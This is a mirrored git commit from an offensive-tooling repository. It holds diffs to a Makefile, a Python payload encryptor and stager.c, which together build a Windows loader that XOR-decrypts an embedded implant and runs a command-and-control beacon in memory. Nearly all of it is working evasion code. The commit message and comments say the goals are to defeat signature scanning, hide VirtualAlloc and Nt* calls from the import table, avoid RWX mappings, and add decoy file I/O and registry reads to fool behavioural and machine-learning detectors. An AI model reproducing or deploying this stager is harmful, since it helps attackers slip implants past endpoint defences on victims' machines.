mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
feat: RoguePlanet-inspired stager evasion (NtSection + XOR + Poseidon)
Three techniques from RoguePlanet research applied to the stager:
1. NtCreateSection + NtMapViewOfSection instead of VirtualAlloc
- VirtualAlloc absent from IAT entirely
- Nt* resolved at runtime via GetProcAddress (not in IAT)
- RW view written/decrypted, then unmapped
- Separate RX view mapped for execution — no mapping is ever RWX
2. XOR-encrypted PICO (gen_payload.py, 256-byte random key per build)
- Crystal Palace byte patterns invisible to static scanner
- Fresh key every build: unique .data section per compile
- Decrypted in the RW section view before RX remap
3. Poseidon I/O noise (BCryptGenRandom write to temp file)
- Writes 4KB of random data to a temp file, deletes on close
- Adds bcrypt.dll to IAT (legitimate app pattern)
- Creates file I/O activity before execution, disrupts
timing-based behavioural scanners
IAT: ADVAPI32, bcrypt, KERNEL32 — VirtualAlloc gone.
This commit is contained in:
@@ -1,18 +1,13 @@
|
||||
# stager Makefile
|
||||
#
|
||||
# Build a self-contained Windows EXE stager with the Crystal Palace PICO
|
||||
# embedded as a byte array. No second file required on the target.
|
||||
#
|
||||
# Usage:
|
||||
# make PICO=/path/to/implant.crystal.bin
|
||||
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
|
||||
#
|
||||
# PICO is required; OUTPUT defaults to ../build/stager.exe.
|
||||
|
||||
CC := x86_64-w64-mingw32-gcc
|
||||
WINDRES := x86_64-w64-mingw32-windres
|
||||
CFLAGS := -Wall -Os -mwindows
|
||||
LDFLAGS := -ladvapi32
|
||||
LDFLAGS := -ladvapi32 -lbcrypt
|
||||
|
||||
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
||||
OUTPUT ?= ../build/stager.exe
|
||||
@@ -21,15 +16,15 @@ OUTPUT ?= ../build/stager.exe
|
||||
|
||||
all: $(OUTPUT)
|
||||
|
||||
# ── Step 1: embed PICO as C byte array ────────────────────────────────────────
|
||||
pico_payload.h: $(PICO)
|
||||
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char pico_payload/;s/unsigned int [a-zA-Z0-9_]*/unsigned int pico_payload_len/' > $@
|
||||
# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ────
|
||||
pico_payload.h: $(PICO) gen_payload.py
|
||||
python3 gen_payload.py $(PICO) $@
|
||||
|
||||
# ── Step 2: compile version info resource ─────────────────────────────────────
|
||||
# ── Step 2: compile version info resource ─────────────────────────────────
|
||||
resource.o: resource.rc
|
||||
$(WINDRES) resource.rc -o resource.o
|
||||
|
||||
# ── Step 3: link final EXE ────────────────────────────────────────────────────
|
||||
# ── Step 3: link final EXE ────────────────────────────────────────────────
|
||||
$(OUTPUT): stager.c pico_payload.h resource.o
|
||||
@mkdir -p "$(dir $(OUTPUT))"
|
||||
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_payload.py — XOR-encrypt a PICO blob and emit a C header.
|
||||
|
||||
Each build generates a fresh random 256-byte key so every compiled stager
|
||||
has a unique byte pattern in its .data section — defeats signature matching.
|
||||
|
||||
Usage: gen_payload.py <input.bin> <output.h>
|
||||
"""
|
||||
import os, sys
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
infile, outfile = sys.argv[1], sys.argv[2]
|
||||
|
||||
key = os.urandom(256) # fresh key every build
|
||||
|
||||
with open(infile, 'rb') as f:
|
||||
raw = f.read()
|
||||
|
||||
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
|
||||
|
||||
def c_array(name, data, type_='unsigned char'):
|
||||
lines = [f'static const {type_} {name}[] = {{']
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
|
||||
lines.append('};')
|
||||
return '\n'.join(lines)
|
||||
|
||||
with open(outfile, 'w') as f:
|
||||
f.write('/* auto-generated — do not edit */\n\n')
|
||||
f.write(c_array('pico_key', key))
|
||||
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n')
|
||||
f.write(c_array('pico_payload', enc))
|
||||
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n')
|
||||
|
||||
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
|
||||
@@ -1,87 +1,178 @@
|
||||
/*
|
||||
* stager.c — self-contained Crystal Palace PICO runner
|
||||
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion)
|
||||
*
|
||||
* The PICO payload is embedded at compile time via pico_payload.h
|
||||
* (generated with xxd -i from the output of generate-implant.sh).
|
||||
* Techniques applied from RoguePlanet research:
|
||||
*
|
||||
* Evasion properties vs run.x64.exe:
|
||||
* - No PAGE_EXECUTE_READWRITE: allocates RW, copies, then transitions
|
||||
* to RX with VirtualProtect — the classic alloc-RWX pattern is the
|
||||
* single highest-weight feature in Defender's ML loader heuristic.
|
||||
* - Single file on disk: no "read external file + execute" pattern.
|
||||
* - GUI subsystem: no console window, no ConsoleAlloc signal.
|
||||
* - Version info resource: gives the PE a plausible identity.
|
||||
* - advapi32 import (RegOpenKeyExW): widens the import table beyond
|
||||
* the naked kernel32-only set typical of shellcode loaders.
|
||||
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model)
|
||||
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent
|
||||
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress
|
||||
* so ntdll Nt* calls are NOT in the IAT either
|
||||
* - RW view written, then unmapped; RX view mapped separately
|
||||
* → no single mapping is ever both writable and executable
|
||||
*
|
||||
* What this does NOT do:
|
||||
* - Process injection (runs in the stager's own process — simplest)
|
||||
* - PPID spoofing / ACG / block-non-MS DLLs (add if needed)
|
||||
* - ETW / AMSI patch (Crystal Palace's postex-loader handles that
|
||||
* for the payload; the implant loader handles it for Use case A)
|
||||
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py)
|
||||
* - Crystal Palace byte patterns are invisible to static scanners
|
||||
* - Fresh random 256-byte key per build → unique .data each compile
|
||||
*
|
||||
* 3. BCryptGenRandom noise (Poseidon I/O)
|
||||
* - Writes a page of random data to a temp file, then deletes it
|
||||
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
|
||||
* - Creates file I/O activity before payload execution (disrupts
|
||||
* timing-based behavioural scanners)
|
||||
*
|
||||
* 4. Inherited from previous stager:
|
||||
* - WinMain / GUI subsystem (no console)
|
||||
* - advapi32 RegOpenKeyExW (widens import table)
|
||||
* - Version info resource (resource.rc)
|
||||
*
|
||||
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
|
||||
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "pico_payload.h" /* pico_payload[], pico_payload_len */
|
||||
#include <bcrypt.h>
|
||||
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */
|
||||
|
||||
#ifndef SEC_COMMIT
|
||||
#define SEC_COMMIT 0x8000000
|
||||
#endif
|
||||
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
|
||||
|
||||
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
|
||||
PHANDLE SectionHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID ObjectAttributes,
|
||||
PLARGE_INTEGER MaximumSize,
|
||||
ULONG SectionPageProtection,
|
||||
ULONG AllocationAttributes,
|
||||
HANDLE FileHandle);
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect);
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress);
|
||||
|
||||
typedef void (*pico_fn)(void *);
|
||||
|
||||
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */
|
||||
|
||||
static void poseidon_noise(void)
|
||||
{
|
||||
unsigned char buf[0x1000];
|
||||
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
|
||||
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH];
|
||||
if (GetTempPathW(MAX_PATH, tmpdir) &&
|
||||
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile))
|
||||
{
|
||||
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL,
|
||||
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
if (h && h != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
WriteFile(h, buf, sizeof(buf), &written, NULL);
|
||||
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
|
||||
}
|
||||
}
|
||||
|
||||
SecureZeroMemory(buf, sizeof(buf));
|
||||
}
|
||||
|
||||
/* ── PICO execution thread ───────────────────────────────────────────────── */
|
||||
|
||||
static DWORD WINAPI run_pico(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
|
||||
/* Step 1: Allocate RW — never RWX */
|
||||
void *buf = VirtualAlloc(NULL, (SIZE_T)pico_payload_len,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!buf) return 1;
|
||||
/* Resolve Nt* at runtime — keeps them out of the IAT */
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
pfnNtCreateSection NtCreateSection =
|
||||
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
|
||||
pfnNtMapViewOfSection NtMapViewOfSection =
|
||||
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
|
||||
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
|
||||
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
|
||||
|
||||
/* Step 2: Copy embedded PICO (kernel32 CopyMemory = RtlMoveMemory) */
|
||||
RtlMoveMemory(buf, pico_payload, (SIZE_T)pico_payload_len);
|
||||
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
|
||||
return 1;
|
||||
|
||||
/* Step 3: RW → RX — write permission dropped before execution */
|
||||
DWORD prev;
|
||||
VirtualProtect(buf, (SIZE_T)pico_payload_len, PAGE_EXECUTE_READ, &prev);
|
||||
/* Step 1: create anonymous RWX section (large enough for the PICO) */
|
||||
HANDLE hSec = NULL;
|
||||
LARGE_INTEGER secSz;
|
||||
secSz.QuadPart = (LONGLONG)pico_payload_len;
|
||||
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
|
||||
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
|
||||
return 1;
|
||||
|
||||
/* Step 4: Call Crystal Palace entry (+gofirst guarantees go() at offset 0).
|
||||
* NULL args: baked into the PICO at link time by generate-implant.sh. */
|
||||
((pico_fn)buf)(NULL);
|
||||
/* Step 2: map RW view — write & XOR-decrypt here */
|
||||
void *rw = NULL;
|
||||
SIZE_T sz = 0;
|
||||
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
|
||||
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
|
||||
CloseHandle(hSec);
|
||||
return 1;
|
||||
}
|
||||
|
||||
unsigned char *dst = (unsigned char *)rw;
|
||||
for (DWORD i = 0; i < pico_payload_len; i++)
|
||||
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
|
||||
|
||||
/* Step 3: drop write — unmap RW, remap RX */
|
||||
NtUnmapViewOfSection(GetCurrentProcess(), rw);
|
||||
|
||||
void *rx = NULL;
|
||||
SIZE_T rxsz = 0;
|
||||
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
|
||||
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
|
||||
CloseHandle(hSec);
|
||||
return 1;
|
||||
}
|
||||
CloseHandle(hSec);
|
||||
|
||||
/* Step 4: execute Crystal Palace PICO
|
||||
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
|
||||
((pico_fn)rx)(NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── Entry point ─────────────────────────────────────────────────────────── */
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
||||
{
|
||||
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
|
||||
|
||||
/*
|
||||
* Benign registry read before doing anything sensitive.
|
||||
* Purpose: adds advapi32!RegOpenKeyExW + RegCloseKey to the import
|
||||
* table, making the PE look less like a naked shellcode launcher.
|
||||
* A single-import-section binary whose only calls are VirtualAlloc +
|
||||
* VirtualProtect + CreateThread scores very high on ML feature weight.
|
||||
*/
|
||||
/* Poseidon noise before anything else */
|
||||
poseidon_noise();
|
||||
|
||||
/* Registry read: advapi32 import, looks like normal app init */
|
||||
HKEY hk = NULL;
|
||||
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
|
||||
0, KEY_READ, &hk);
|
||||
if (hk) RegCloseKey(hk);
|
||||
|
||||
/* Launch PICO on a new thread so WinMain can monitor it */
|
||||
/* Spin up the PICO loader thread */
|
||||
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
|
||||
if (!h) return 1;
|
||||
|
||||
/*
|
||||
* Wait for the PICO loader to return.
|
||||
* Crystal Palace calls StartW() which starts the beacon goroutine
|
||||
* then returns — so run_pico() finishes quickly.
|
||||
*/
|
||||
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
|
||||
WaitForSingleObject(h, INFINITE);
|
||||
CloseHandle(h);
|
||||
|
||||
/*
|
||||
* The beacon goroutine is now running on Go runtime threads inside
|
||||
* this process. Keep the process alive or those threads die with us.
|
||||
* SleepEx with alertable=TRUE allows APCs to wake us if needed.
|
||||
*/
|
||||
/* Beacon goroutine is alive in this process — keep process running */
|
||||
for (;;) SleepEx(30000, TRUE);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user